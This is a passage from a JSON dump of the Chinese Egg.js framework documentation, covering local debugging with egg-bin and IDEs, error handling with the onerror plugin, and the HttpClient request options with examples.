覆盖率报告。\n\n![image](https://cloud.githubusercontent.com/assets/156269/21845201/a9a85ab6-d82c-11e6-8c24-5e85f352be4a.png)\n\n### 环境配置\n\n与 `test` 命令类似，执行 `cov` 命令时，应用以 `env: unittest` 启动，并读取 `config.default.js` 和 `config.unittest.js` 合并的配置结果。\n\n### 忽略指定文件\n\n对于不需要计算覆盖率的文件，可通过 `COV_EXCLUDES` 环境变量来指定：\n\n```bash\n$ COV_EXCLUDES=app/plugins/c* npm run cov\n$ # 或者使用传参方式\n$ npm run cov -- --x=app/plugins/c*\n```\n\n## 调试\n\n### 日志输出\n\n### 使用 logger 模块\n\n框架内置了 [日志](./logger.md) 功能，使用 `logger.debug()` 输出调试信息，**推荐在应用代码中使用它。**\n\n```js\n// controller\nthis.logger.debug('current user: %j', this.user);\n\n// service\nthis.ctx.logger.debug('debug info from service');\n\n// app/init.js\napp.logger.debug('app init');\n```\n\n通过 `config.logger.level` 来配置打印到文件的日志级别，通过 `config.logger.consoleLevel` 配置打印到终端的日志级别。\n\n### 使用 debug 模块\n\n[debug](https://www.npmjs.com/package/debug) 模块是 Node.js 社区广泛使用的 debug 工具，很多模块都使用这个模块来打印调试信息，Egg 社区也广泛采用这一机制来打印 debug 信息，**推荐在框架和插件开发中使用它。**\n\n我们可以通过 `DEBUG` 环境变量选择开启指定的调试代码，方便观测执行过程。\n\n（调试模块和日志模块不要混淆；此外，日志模块还具备很多其他功能。这里所说的日志全部指调试信息。）\n\n开启所有模块的日志：\n\n```bash\n$ DEBUG=* npm run dev\n```\n\n开启指定模块的日志：\n\n```bash\n$ DEBUG=egg* npm run dev\n```\n\n单元测试也可以使用 `DEBUG=* npm test` 来查看测试用例运行的详细日志。\n\n### 使用 egg-bin 调试\n\n#### 添加命令\n\n在 `package.json` 中添加 `npm scripts`：\n\n```json\n{\n  \"scripts\": {\n    \"debug\": \"egg-bin debug\"\n  }\n}\n```\n\n现在，我们可以通过 `npm run debug` 命令来断点调试应用。\n\n`egg-bin` 会智能选择调试协议。在 Node.js 8.x 之后的版本中，使用 [Inspector Protocol] 协议，低版本使用 [Legacy Protocol]。\n\n也支持自定义调试参数：\n\n```bash\n$ egg-bin debug --inspect=9229\n```\n\n- `master` 调试端口为 9229 或 5858（旧协议）。\n- `agent` 调试端口固定为 5800，可以通过传递 `process.env.EGG_AGENT_DEBUG_PORT` 来自定义。\n- `worker` 调试端口为 `master` 调试端口递增。\n- 开发阶段，worker 的代码修改后会热重启，导致调试端口自增。参见后文的 IDE 配置，可以实现自动重连。\n\n#### 环境配置\n\n执行 `debug` 命令时，应用也是以 `env: local` 启动的。读取的配置是 `config.default.js` 和 `config.local.js` 合并的结果。\n\n#### 使用 [DevTools] 进行调试\n\n最新的 DevTools 只支持 [Inspector Protocol] 协议，因此你需要使用 Node.js 8.x 及以上版本。\n\n执行 `npm run debug` 启动：\n\n```bash\n➜  showcase git:(master) ✗ npm run debug\n\n> showcase@1.0.0 debug /Users/tz/Workspaces/eggjs/test/showcase\n> egg-bin debug\n\nDebugger listening on ws://127.0.0.1:9229/f8258ca6-d5ac-467d-bbb1-03f59bcce85b\nFor help see https://nodejs.org/en/docs/inspector\n2017-09-14 16:01:35,990 INFO 39940 [master] egg version 1.8.0\nDebugger listening on ws://127.0.0.1:5800/bfe1bf6a-2be5-4568-ac7d-69935e0867fa\nFor help see https://nodejs.org/en/docs/inspector\n2017-09-14 16:01:36,432 INFO 39940 [master] agent_worker#1:39941 started (434ms)\nDebugger listening on ws://127.0.0.1:9230/2fcf4208-4571-4968-9da0-0863ab9f98ae\nFor help see https://nodejs.org/en/docs/inspector\n9230 opened\nDebug Proxy online, now you could attach to 9999 without worry about reload.\nDevTools → chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9999/__ws_proxy__\n```\n\n接下来选择以下其中一种方式：\n\n- 直接访问控制台最后输出的 `DevTools` 地址，该地址代理了 worker。不必担心重启问题。\n- 访问 `chrome://inspect` 后，配置相应的端口。点击 `Open dedicated DevTools for Node` 打开调试控制台。\n\n![DevTools](https://user-images.githubusercontent.com/227713/30419047-a54ac592-9967-11e7-8a05-5dbb82088487.png)\n\n#### 使用 WebStorm 进行调试\n\n`egg-bin` 会自动读取 WebStorm 调试模式下设置的环境变量 `$NODE_DEBUG_OPTION`。\n\n直接使用 WebStorm 的 npm 调试功能启动：\n\n![WebStorm](https://user-images.githubusercontent.com/227713/30423086-5dd32ac6-9974-11e7-840f-904e49a97694.png)\n\n#### 使用 [VSCode] 进行调试\n\n有以下两种方式：\n\n方式一：开启 VSCode 的 `Debug: Toggle Auto Attach`。然后在 Terminal 中执行 `npm run debug`。\n\n方式二：配置 VSCode 的 `.vscode/launch.json`，然后使用 F5 启动。注意，要关闭方式一中的配置。\n\n```json\n// .vscode/launch.json\n{\n  \"version\": \"0.2.0\",\n  \"configurations\": [\n    {\n      \"name\": \"Launch Egg\",\n      \"type\": \"node\",\n      \"request\": \"launch\",\n      \"cwd\": \"${workspaceRoot}\",\n      \"runtimeExecutable\": \"npm\",\n      \"windows\": { \"runtimeExecutable\": \"npm.cmd\" },\n      \"runtimeArgs\": [\"run\", \"debug\"],\n      \"console\": \"integratedTerminal\",\n      \"protocol\": \"auto\",\n      \"restart\": true,\n      \"port\": 9229,\n      \"autoAttachChildProcesses\": true\n    }\n  ]\n}\n```\n\n我们还提供了 [vscode-eggjs] 扩展，可以自动生成配置。\n\n![VSCode](https://user-images.githubusercontent.com/227713/35954428-7f8768ee-0cc4-11e8-90b2-67e623594fa1.png)\n\n更多 VSCode 调试用法请参见文档：[Node.js Debugging in VS Code](https://code.visualstudio.com/docs/nodejs/nodejs-debugging)。\n\n## 更多\n\n想要了解更多有关本地开发的内容，例如如何为你的团队定制本地开发工具，请参阅 [egg-bin]。\n\n[glob]: https://www.npmjs.com/package/glob\n[egg-bin]: https://github.com/eggjs/egg-bin\n[vscode]: https://code.visualstudio.com\n[legacy protocol]: https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md\n[inspector protocol]: https://chromedevtools.github.io/debugger-protocol-viewer/v8\n[devtools]: https://developer.chrome.com/devtools\n[webstorm]: https://www.jetbrains.com/webstorm/\n[vscode-eggjs]: https://github.com/eggjs/vscode-eggjs\n"
  },
  {
    "path": "site/docs/zh-CN/core/error-handling.md",
    "content": "# 异常处理\n\n## 异常捕获\n\n得益于框架支持的异步编程模型，错误完全可以用 `try catch` 来捕获。在编写应用代码时，所有地方都可以直接用 `try catch` 来捕获异常。\n\n```js\n// app/service/test.js\ntry {\n  const res = await this.ctx.curl('http://eggjs.com/api/echo', {\n    dataType: 'json',\n  });\n  if (res.status !== 200) throw new Error('response status is not 200');\n  return res.data;\n} catch (err) {\n  this.logger.error(err);\n  return {};\n}\n```\n\n按照正常代码写法，所有的异常都可以用这种方式进行捕获并处理，但是一定要注意一些特殊的写法可能带来的问题。举个不太正式的比方，我们的代码全部都在一个异步调用链上，所有的异步操作都通过 `await` 串接起来了。但是，只要有一个地方跳出了异步调用链，异常就无法被捕获。\n\n```js\n// app/controller/home.js\nclass HomeController extends Controller {\n  async buy() {\n    const request = {};\n    const config = await this.ctx.service.trade.buy(request);\n    // 下单后需要进行一次核对，且不阻塞当前请求\n    setImmediate(() => {\n      this.ctx.service.trade\n        .check(request)\n        .catch((err) => this.ctx.logger.error(err));\n    });\n  }\n}\n```\n\n在这个场景下，如果 `service.trade.check` 的代码出现问题，导致执行时抛出异常，框架虽可以在最外层通过 `try catch` 统一捕获错误，但由于 `setImmediate` 中代码『跳出』了异步链，错误就无法被捉到了。所以开发时需要特别注意。\n\n幸运的是，框架针对类似场景提供了 `ctx.runInBackground(scope)` 辅助方法，通过它封装了另一个异步链，所有在这个 `scope` 内的错误都会被捕获。\n\n```js\nclass HomeController extends Controller {\n  async buy() {\n    const request = {};\n    const config = await this.ctx.service.trade.buy(request);\n    // 下单后需要进行一次核对，且不阻塞当前请求\n    this.ctx.runInBackground(async () => {\n      // 这里的异常都会被 Background 捕获，并打印错误日志\n      await this.ctx.service.trade.check(request);\n    });\n  }\n}\n```\n\n**为确保异常可追踪，所有抛出的异常必须是 `Error` 类型，因为只有 `Error` 类型才具备堆栈信息，便于问题定位。**\n\n## 框架层统一异常处理\n\n框架通过 [@eggjs/onerror](https://github.com/eggjs/egg/tree/next/plugins/onerror) 插件提供统一的错误处理机制。此机制将捕获所有处理方法（Middleware、Controller、Service）中抛出的任何异常，并根据请求预期的响应类型返回不同的错误内容。\n\n| 请求格式需求 | 环境             | `errorPageUrl` 配置 | 返回内容                              |\n| ------------ | ---------------- | ------------------- | ------------------------------------- |\n| HTML & TEXT  | local & unittest | -                   | onerror 提供的详细错误页面            |\n| HTML & TEXT  | 其他             | 是                  | 重定向至 `errorPageUrl`               |\n| HTML & TEXT  | 其他             | 否                  | 简易错误页（不含错误信息）            |\n| JSON & JSONP | local & unittest | -                   | 详细错误信息的 JSON 或 JSONP 响应     |\n| JSON & JSONP | 其他             | -                   | 不含详细错误信息的 JSON 或 JSONP 响应 |\n\n### errorPageUrl\n\n配置了 `errorPageUrl` 后，线上应用 HTML 页面异常时将重定向至该地址。\n\n```js\n// config/config.default.js\nmodule.exports = {\n  onerror: {\n    // 线上发生异常时，重定向到此页面\n    errorPageUrl: '/50x.html',\n  },\n};\n```\n\n## 自定义统一异常处理\n\n虽然框架提供了默认的异常处理机制，但应用开发中往往需自定义异常响应，特别是接口开发。onerror 插件支持自定义配置错误处理方法，允许覆盖默认方法。\n\n```js\n// config/config.default.js\nmodule.exports = {\n  onerror: {\n    all(err, ctx) {\n      // 定义所有响应类型的错误处理方法\n      // 定义了 config.all 后，其他错误处理不再生效\n      ctx.body = 'error';\n      ctx.status = 500;\n    },\n    html(err, ctx) {\n      // HTML 错误处理\n      ctx.body = '<h3>error</h3>';\n      ctx.status = 500;\n    },\n    json(err, ctx) {\n      // JSON 错误处理\n      ctx.body = { message: 'error' };\n      ctx.status = 500;\n    },\n    jsonp(err, ctx) {\n      // JSONP 错误一般不需特殊处理，自动调用 JSON 方法\n    },\n  },\n};\n```\n\n框架并不会将服务端返回的 404 状态当做异常来处理，但是框架提供了当响应为 404 且没有返回 body 时的默认响应。\n\n- 当请求被框架判定为需要 JSON 格式的响应时，会返回一段 JSON：\n\n```json\n{ \"message\": \"Not Found\" }\n```\n\n- 当请求被框架判定为需要 HTML 格式的响应时，会返回一段 HTML：\n\n```html\n<h1>404 Not Found</h1>\n```\n\n框架支持通过配置，将默认的 HTML 请求的 404 响应重定向到指定的页面。\n\n```js\n// config/config.default.js\nmodule.exports = {\n  notfound: {\n    pageUrl: '/404.html',\n  },\n};\n```\n\n### 自定义 404 响应\n\n在一些场景下，我们需要自定义服务器 404 时的响应。和自定义异常处理一样，我们也只需要加入一个中间件即可对 404 做统一处理：\n\n```js\n// app/middleware/notfound_handler.js\nmodule.exports = () => {\n  return async function notFoundHandler(ctx, next) {\n    await next();\n    if (ctx.status === 404 && !ctx.body) {\n      if (ctx.acceptJSON) {\n        ctx.body = { error: 'Not Found' };\n      } else {\n        ctx.body = '<h1>Page Not Found</h1>';\n      }\n    }\n  };\n};\n```\n\n在配置中引入中间件：\n\n```js\n// config/config.default.js\nmodule.exports = {\n  middleware: ['notfoundHandler'],\n};\n```\n"
  },
  {
    "path": "site/docs/zh-CN/core/httpclient.md",
    "content": "# HttpClient\n\n互联网时代，无数服务是基于 HTTP 协议进行通信的，Web 应用调用后端 HTTP 服务是一种非常常见的应用场景。\n\n为此，框架基于 [urllib] 内置实现了一个 [HttpClient]，应用可以非常便捷地完成任何 HTTP 请求。\n\n## 通过 `app` 使用 HttpClient\n\n框架在应用初始化的时候，会自动将 [HttpClient] 初始化到 `app.httpClient`。\n\n这样就可以非常方便地使用 `app.httpClient.request` 方法完成一次 HTTP 请求。\n\n```ts\n// app.ts\nexport default (app: EggApplication) => {\n  app.beforeStart(async () => {\n    // 示例：启动时去读取 https://registry.npmmirror.com/egg/latest 的版本信息\n    const result = await app.httpClient.request(\n      'https://registry.npmmirror.com/egg/latest',\n      {\n        dataType: 'json',\n      },\n    );\n    app.logger.info('Egg 最新版本：%s', result.data.version);\n  });\n};\n```\n\n## 通过 `ctx` 使用 HttpClient\n\n框架在 Context 中同样提供了 `ctx.httpClient`，以保持与 app 下的使用体验一致。这样，在有 Context 的地方（如在 controller 中）非常方便地使用 `ctx.httpClient.request(url, options)` 方法完成一次 HTTP 请求。\n\n```ts\n// app/controller/npm.ts\nexport default class NpmController extends Controller {\n  async index() {\n    const ctx = this.ctx;\n\n    // 示例：请求一个 npm 模块信息\n    const result = await ctx.httpClient.request(\n      'https://registry.npmmirror.com/egg/latest',\n      {\n        // 自动解析 JSON 响应\n        dataType: 'json',\n        // 3 秒超时\n        timeout: 3000,\n      },\n    );\n\n    ctx.body = {\n      status: result.status,\n      headers: result.headers,\n      package: result.data,\n    };\n  }\n}\n```\n\n## 基本 HTTP 请求\n\nHTTP 已经被广泛大量使用。尽管 HTTP 有多种请求方式，但是万变不离其宗。我们先以基本的四个请求方法为例子，逐步讲解一下更多的复杂应用场景。\n\n以下例子都会在 controller 代码中对 `https://httpbin.org` 发起请求来完成。\n\n### GET\n\n读取数据几乎都是使用 GET 请求。它是 HTTP 世界最常见的一种，也是最广泛的一种。它的请求参数也是最容易构造的。\n\n```ts\n// app/controller/npm.ts\nexport default class NpmController extends Controller {\n  async get() {\n    const ctx = this.ctx;\n    const result = await ctx.httpClient.request(\n      'https://httpbin.org/get?foo=bar',\n    );\n    ctx.status = result.status;\n    ctx.set(result.headers);\n    ctx.body = result.data;\n  }\n}\n```\n\n- GET 请求可以不用设置 `options.method` 参数，`HttpClient` 的默认 `method` 会设置为 `GET`。\n- 返回值 `result` 会包含三个属性：`status`，`headers` 和 `data`。\n  - `status`：响应状态码，如 `200`，`302`，`404`，`500` 等等。\n  - `headers`：响应头，类似 `{ 'content-type': 'text/html', ... }`。\n  - `data`：响应 body，默认 `HttpClient` 不会进行任何处理，会直接返回 `Buffer` 类型数据。\n    一旦设置了 `options.dataType`，`HttpClient` 将会根据此参数对 `data` 进行相应的处理。\n\n完整的请求参数 `options` 和返回值 `result` 的说明请看下文的 [options 参数详解](#options-参数详解) 章节。\n\n### POST\n\n创建数据的场景一般来说都会使用 POST 请求，它相对于 GET 来说，多了请求 body 这个参数。\n\n以发送 JSON body 的场景举例：\n\n```ts\n// app/controller/npm.ts\nexport default class NpmController extends Controller {\n  async post() {\n    const ctx = this.ctx;\n    const result = await ctx.httpClient.request('https://httpbin.org/post', {\n      // 必须指定 method\n      method: 'POST',\n      // 通过 contentType 告诉 HttpClient 以 JSON 格式发送\n      contentType: 'json',\n      data: {\n        hello: 'world',\n        now: Date.now(),\n      },\n      // 明确告诉 HttpClient 以 JSON 格式处理返回的响应 body\n      dataType: 'json',\n    });\n    ctx.body = result.data;\n  }\n}\n```\n\n下文还会详细讲解以 POST 实现表单提交和文件上传的功能。\n\n### PUT\n\nPUT 与 POST 类似，它更加适合更新数据和替换数据的语义。\n除了 method 参数需要设置为 `PUT`，其他参数几乎与 POST 完全一样。\n\n```ts\n// app/controller/npm.ts\nexport default class NpmController extends Controller {\n  async put() {\n    const ctx = this.ctx;\n    const result = await ctx.httpClient.request('https://httpbin.org/put', {\n      // 必须指定 method\n      method: 'PUT',\n      // 通过 contentType 告诉 HttpClient 以 JSON 格式发送\n      contentType: 'json',\n      data: {\n        update: 'foo bar',\n      },\n      // 明确告诉 HttpClient 以 JSON 格式处理响应 body\n      dataType: 'json',\n    });\n    ctx.body = result.data;\n  }\n}\n```\n\n### DELETE\n\n删除数据会选择 DELETE 请求。它通常可以不需要增加请求 body，但是 `HttpClient` 不会对此进行限制。\n\n```ts\n// app/controller/npm.ts\nexport default class NpmController extends Controller {\n  async del() {\n    const ctx = this.ctx;\n    const result = await ctx.httpClient.request('https://httpbin.org/delete', {\n      // 必须指定 method\n      method: 'DELETE',\n      // 明确告诉 HttpClient 以 JSON 格式处理响应 body\n      dataType: 'json',\n    });\n    ctx.body = result.data;\n  }\n}\n```\n\n## 高级 HTTP 请求\n\n在真实的应用场景下，还会包含一些较为复杂的 HTTP 请求。\n\n### Form 表单提交\n\n面向浏览器设计的 Form 表单（不包含文件）提交接口，通常都要求以 `content-type: application/x-www-form-urlencoded` 的格式提交请求数据。\n\n```ts\n// app/controller/npm.ts\nexport default class NpmController extends Controller {\n  async submit() {\n    const ctx = this.ctx;\n    const result = await ctx.httpClient.request('https://httpbin.org/post', {\n      // 必须指定 method，支持 POST，PUT 和 DELETE\n      method: 'POST',\n      // 不需要设置 contentType，HttpClient 会默认以 application/x-www-form-urlencoded 格式发送请求\n      data: {\n        now: Date.now(),\n        foo: 'bar',\n      },\n      // 明确告诉 HttpClient 以 JSON 格式处理响应 body\n      dataType: 'json',\n    });\n    ctx.body = result.data.form;\n    // 响应最终会是类似以下的结果：\n    // {\n    //   \"foo\": \"bar\",\n    //   \"now\": \"1483864184348\"\n    // }\n  }\n}\n```\n\n### 以 Multipart 方式上传文件\n\n当一个 Form 表单提交包含文件时，请求数据格式就必须以 [multipart/form-data](http://tools.ietf.org/html/rfc2388) 进行提交了。\n\n[urllib] 内置了 [formstream] 模块来帮助我们生成可以被消费的 `form` 对象。\n\n```ts\n// app/controller/http.ts\nexport default class HttpController extends Controller {\n  async upload() {\n    const { ctx } = this;\n\n    const result = await ctx.httpClient.request('https://httpbin.org/post', {\n      method: 'POST',\n      dataType: 'json',\n      data: {\n        foo: 'bar',\n      },\n\n      // 单文件上传\n      files: __filename,\n\n      // 多文件上传\n      // files: {\n      //   file1: __filename,\n      //   file2: fs.createReadStream(__filename),\n      //   file3: Buffer.from('mock file content'),\n      // },\n    });\n\n    ctx.body = result.data.files;\n    // 响应最终会是类似以下的结果：\n    // {\n    //   \"file\": \"use strict; const For....\"\n    // }\n  }\n}\n```\n\n### 以 Stream 方式上传文件\n\n其实，在 Node.js 的世界里面，Stream 才是主流。如果服务端支持流式上传，最友好的方式还是直接发送 Stream。Stream 实际会以 `Transfer-Encoding: chunked` 传输编码格式发送，这个转换是 [HTTP] 模块自动实现的。\n\n```ts\n// app/controller/npm.ts\nimport fs from 'node:fs';\nimport FormStream from 'formstream';\n\nexport default class NpmController extends Controller {\n  async uploadByStream() {\n    const ctx = this.ctx;\n    // 上传当前文件本身用于测试\n    const fileStream = fs.createReadStream(import.meta.filename);\n    // httpbin.org 不支持 stream 模式，使用本地 stream 接口代替\n    const url = `${ctx.protocol}://${ctx.host}/stream`;\n    const result = await ctx.httpClient.request(url, {\n      // 必须指定 method，支持 POST，PUT\n      method: 'POST',\n      // 以 stream 模式提交\n      stream: fileStream,\n    });\n    ctx.status = result.status;\n    ctx.set(result.headers);\n    ctx.body = result.data;\n    // 响应最终会是类似以下的结果：\n    // {\"streamSize\":574}\n  }\n}\n```\n\n## options 参数详解\n\n由于 HTTP 请求的复杂性，导致 `httpClient.request(url, options)` 的 options 参数会非常多。\n接下来将以参数说明和代码配合一起讲解每个可选参数的实际用途。\n\n### HttpClient 默认全局配置\n\n```ts\n// config/config.default.ts\nexport default {\n  httpClient: {\n    // 是否开启本地 DNS 缓存，默认关闭，开启后有两个特性\n    // 1. 所有 DNS 查询都会默认优先使用缓存的，即使 DNS 查询错误也不影响应用\n    // 2. 对同一个域名，在 dnsCacheLookupInterval 的间隔内（默认 10s）只会查询一次\n    enableDNSCache: false,\n    // 对同一个域名进行 DNS 查询的最小间隔时间\n    dnsCacheLookupInterval: 10000,\n    // DNS 同时缓存的最大域名数量，默认 1000\n    dnsCacheMaxLength: 1000,\n\n    request: {\n      // 默认 request 超时时间\n      timeout: 3000,\n    },\n  },\n};\n```\n\n应用可以通过 `config/config.default.ts` 覆盖此配置。\n\n### `data: Object`\n\n需要发送的请求数据，根据 `method` 自动选择正确的数据处理方式。\n\n- GET、HEAD：通过 `querystring.stringify(data)` 处理后拼接到 url 的 query 参数上。\n- POST、PUT 和 DELETE 等：需要根据 `contentType` 做进一步判断处理。\n  - `contentType = json`：通过 `JSON.stringify(data)` 处理，并设置为 body 发送。\n  - 其他：通过 `querystring.stringify(data)` 处理，并设置为 body 发送。\n\n```ts\n// GET + data\nctx.httpClient.request(url, {\n  data: { foo: 'bar' },\n});\n\n// POST + data\nctx.httpClient.request(url, {\n  method: 'POST',\n  data: { foo: 'bar' },\n});\n\n// POST + JSON + data\nctx.httpClient.request(url, {\n  method: 'POST',\n  contentType: 'json',\n  data: { foo: 'bar' },\n});\n```\n\n### `dataAsQueryString: Boolean`\n\n如果设置了 `dataAsQueryString=true`，即使在 POST 请求下，\n也会将 `options.data` 经 `querystring.stringify` 处理后拼接到 `url` 的 query 参数上。\n\n此设置适用于需要以 `stream` 发送数据，并且附带额外的请求参数以 `url` query 形式传递的场景：\n\n```ts\nctx.httpClient.request(url, {\n  method: 'POST',\n  dataAsQueryString: true,\n  data: {\n    // 通常是权限验证参数，如 access token\n    accessToken: 'some access token value',\n  },\n  stream: myFileStream,\n});\n```\n\n### `content: String|Buffer`\n\n发送请求正文。若设置此参数，将直接忽略 `data` 参数。\n\n```ts\nctx.httpClient.request(url, {\n  method: 'POST',\n  // 直接发送原始 XML 数据，不需 HttpClient 经行特殊处理\n  content: '<xml><hello>world</hello></xml>',\n  headers: {\n    'content-type': 'text/html',\n  },\n});\n```\n\n### `files: Mixed`\n\n文件上传，支持以下格式：`String | ReadStream | Buffer | Array | Object`。\n\n```ts\nctx.httpClient.request(url, {\n  method: 'POST',\n  files: '/path/to/read',\n  data: {\n    foo: 'other fields',\n  },\n});\n```\n\n多文件上传：\n\n```ts\nctx.httpClient.request(url, {\n  method: 'POST',\n  files: {\n    file1: '/path/to/read',\n    file2: fs.createReadStream(__filename),\n    file3: Buffer.from('mock file content'),\n  },\n  data: {\n    foo: 'other fields',\n  },\n});\n```\n\n### `stream: ReadStream`\n\n设置发送请求正文的可读数据流，默认值为 `null`。一旦设置了此参数，`HttpClient` 将忽略 `data` 和 `content`。\n\n```ts\nctx.httpClient.request(url, {\n  method: 'POST',\n  stream: fs.createReadStream('/path/to/read'),\n});\n```\n\n### `writeStream: WriteStream`\n\n设置接收响应数据的可写数据流，默认值为 `null`。一旦设置此参数，返回值 `result.data` 将被设置为 `null`，因数据已写入 `writeStream`。\n\n```ts\nctx.httpClient.request(url, {\n  writeStream: fs.createWriteStream('/path/to/store'),\n});\n```\n\n### `consumeWriteStream: Boolean`\n\n是否等待 `writeStream` 完全写完才算响应接收完毕，默认为 `true`。此参数建议保留默认值，除非你明确知道其可能的副作用。\n\n### `method: String`\n\n设置请求方法，默认为 `GET`。支持 `GET`、`POST`、`PUT`、`DELETE`、`PATCH` 等 [所有 HTTP 方法](https://nodejs.org/api/http.html#http_http_methods)。\n\n### `contentType: String`\n\n设置请求数据格式，默认为 `undefined`。`HttpClient` 会根据 `data` 和 `content` 自动设置。`data` 为 object 时，默认设为 `form`。支持 `json` 格式。\n\n例如，以 JSON 格式发送 `data`：\n\n```ts\nctx.httpClient.request(url, {\n  method: 'POST',\n  data: {\n    foo: 'bar',\n    now: Date.now(),\n  },\n  contentType: 'json',\n});\n```\n\n### `dataType: String`\n\n设置响应数据格式，默认不处理，直接返回 buffer。支持 `text` 和 `json`。\n\n**注意：若设为 `json`，解析失败则抛出 `JSONResponseFormatError` 异常。**\n\n```ts\nconst jsonResult = await ctx.httpClient.request(url, {\n  dataType: 'json',\n});\nconsole.log(jsonResult.data);\n\nconst htmlResult = await ctx.httpClient.request(url, {\n  dataType: 'text',\n});\nconsole.log(htmlResult.data);\n```\n\n### `fixJSONCtlChars: Boolean`\n\n是否自动过滤特殊控制字符（U+0000～U+001F），默认为 `false`。某些 CGI 系统返回的 JSON 可能含有这些字符。\n\n```ts\nctx.httpClient.request(url, {\n  fixJSONCtlChars: true,\n  dataType: 'json',\n});\n```\n\n### `headers: Object`\n\n自定义请求头。\n\n```ts\nctx.httpClient.request(url, {\n  headers: {\n    'x-foo': 'bar',\n  },\n});\n```\n\n### `timeout: Number|Array`\n\n请求超时时间，默认是 `[5000, 5000]`，即创建连接超时是 5 秒，接收响应超时是 5 秒。\n\n```ts\nctx.httpClient.request(url, {\n  // 创建连接超时 3 秒，接收响应超时 3 秒\n  timeout: 3000,\n});\n\nctx.httpClient.request(url, {\n  // 创建连接超时 1 秒，接收响应超时 30 秒，用于响应比较大的场景\n  timeout: [1000, 30000],\n});\n```\n\n### `agent: HttpAgent`\n\n允许通过此参数覆盖默认的 HttpAgent，如果你不想开启 KeepAlive，可以设置此参数为 `false`。\n\n```ts\nctx.httpClient.request(url, {\n  agent: false,\n});\n```\n\n### `httpsAgent: HttpsAgent`\n\n允许通过此参数覆盖默认的 HttpsAgent，如果你不想开启 KeepAlive，可以设置此参数为 `false`。\n\n```ts\nctx.httpClient.request(url, {\n  httpsAgent: false,\n});\n```\n\n### `auth: String`\n\n简单登录授权（Basic Authentication）参数，将以明文方式将登录信息以 `Authorization` 请求头发送出去。\n\n```ts\nctx.httpClient.request(url, {\n  // 参数必须按照 `user:password` 格式设置\n  auth: 'foo:bar',\n});\n```\n\n### `digestAuth: String`\n\n摘要登录授权（Digest Authentication）参数，设置此参数会自动对 401 响应尝试生成 `Authorization` 请求头，尝试以授权方式请求一次。\n\n```ts\nctx.httpClient.request(url, {\n  // 参数必须按照 `user:password` 格式设置\n  digestAuth: 'foo:bar',\n});\n```\n\n### `followRedirect: Boolean`\n\n是否自动跟进 3xx 的跳转响应，默认是 `false`。\n\n```ts\nctx.httpClient.request(url, {\n  followRedirect: true,\n});\n```\n\n### `maxRedirects: Number`\n\n设置最大自动跳转次数，避免循环跳转无法终止，默认是 10 次。此参数不宜设置过大，它只在 `followRedirect=True` 情况下才会生效。\n\n```ts\nctx.httpClient.request(url, {\n  followRedirect: true,\n  // 最多自动跳转 5 次\n  maxRedirects: 5,\n});\n```\n\n### `formatRedirectUrl: Function(from, to)`\n\n允许通过 `formatRedirectUrl` 自定义实现 302、301 等跳转 URL 的拼接，默认是 `url.resolve(from, to)`。\n\n```ts\nctx.httpClient.request(url, {\n  formatRedirectUrl: (from, to) => {\n    // 比如可以在这里修正跳转不正确的 URL\n    if (to === '//foo/') {\n      to = '/foo';\n    }\n    return url.resolve(from, to);\n  },\n});\n```\n\n### `beforeRequest: Function(options)`\n\nHttpClient 在请求正式发送之前，会尝试调用 `beforeRequest` 钩子，允许我们在这里对请求参数做最后一次修改。\n\n```ts\nctx.httpClient.request(url, {\n  beforeRequest: (options) => {\n    // 比如可以在这里设置全局请求 ID，便于日志跟踪\n    options.headers['x-request-id'] = uuid.v1();\n  },\n});\n```\n\n### `streaming: Boolean`\n\n是否直接返回响应流，默认为 `false`。一旦启用 `streaming`，HttpClient 会在拿到响应对象 res 之后立即返回，此时 `result.headers` 和 `result.status` 已可读取，只是没有读取数据 `data`。\n\n```ts\nconst result = await ctx.httpClient.request(url, {\n  streaming: true,\n});\n\nconsole.log(result.status, result.data);\n// result.res 是一个 ReadStream 对象\nctx.body = result.res;\n```\n\n**注意**：如果 res 不是直接传递给 body，那么我们必须消费这个 stream 并且做好 `error` 事件的处理。\n\n### `gzip: Boolean`\n\n是否支持 gzip 响应格式，默认为 `false`。开启 gzip 之后，HttpClient 将自动设置 `Accept-Encoding: gzip` 请求头，并且会自动解压带有 `Content-Encoding: gzip` 响应头的数据。\n\n```ts\nctx.httpClient.request(url, {\n  gzip: true,\n});\n```\n\n### `timing: Boolean`\n\n是否开启请求各阶段的时间测量，默认为 `false`。开启 timing 之后，可以通过 `result.res.timing` 拿到这次 HTTP 请求各阶段的时间测量值（单位是毫秒）。\n通过这些测量值，我们可以非常方便地定位到这次请求最慢的环节发生在哪个阶段。效果类似于 Chrome network timing。\n\ntiming 各阶段测量值解析：\n\n- queuing：分配 socket 的耗时\n- dnslookup：DNS 查询耗时\n- connected：socket 三次握手连接成功耗时\n- requestSent：请求数据完整发送结束耗时\n- waiting：收到第一个字节响应数据耗时\n- contentDownload：全部响应数据接收完毕耗时\n\n```ts\nconst result = await ctx.httpClient.request(url, {\n  timing: true,\n});\nconsole.log(result.res.timing);\n// {\n//   \"queuing\": 29,\n//   \"dnslookup\": 37,\n//   \"connected\": 370,\n//   \"requestSent\": 1001,\n//   \"waiting\": 1833,\n//   \"contentDownload\": 3416\n// }\n```\n\n### `ca`、`rejectUnauthorized`、`pfx`、`key`、`cert`、`passphrase`、`ciphers` 和 `secureProtocol`\n\n这几个参数都是透传给 [HTTPS] 模块的参数，具体可查看 [`https.request(options, callback)`](https://nodejs.org/api/https.html#https_https_request_options_callback)。\n\n## 调试辅助\n\n如果你需要对 HttpClient 的请求进行抓包调试，可以添加以下配置到 `config/config.local.ts`：\n\n```ts\n// config/config.local.ts\nexport default () => {\n  const config = {};\n\n  // add http_proxy to httpclient\n  if (process.env.http_proxy) {\n    config.httpclient = {\n      request: {\n        enableProxy: true,\n        rejectUnauthorized: false,\n        proxy: process.env.http_proxy,\n      },\n    };\n  }\n\n  return config;\n};\n```\n\n然后启动抓包工具，如 [Charles] 或 [Fiddler]。通过以下指令启动应用：\n\n```bash\n$ http_proxy=http://127.0.0.1:8888 npm run dev\n```\n\n操作完成后，所有通过 HttpClient 发出的请求都可以在抓包工具中查看。\n\n## 常见错误\n\n### 创建连接超时\n\n- 异常名称：`ConnectionTimeoutError`\n- 出现场景：通常是 DNS 查询较慢或者客户端与服务端网络较慢导致。\n- 排查建议：适当增大 `timeout` 参数。\n\n### 服务响应超时\n\n- 异常名称：`ResponseTimeoutError`\n- 出现场景：客户端与服务端网络较慢，响应数据较大时发生。\n- 排查建议：适当增大 `timeout` 参数。\n\n### 服务主动断开连接\n\n- 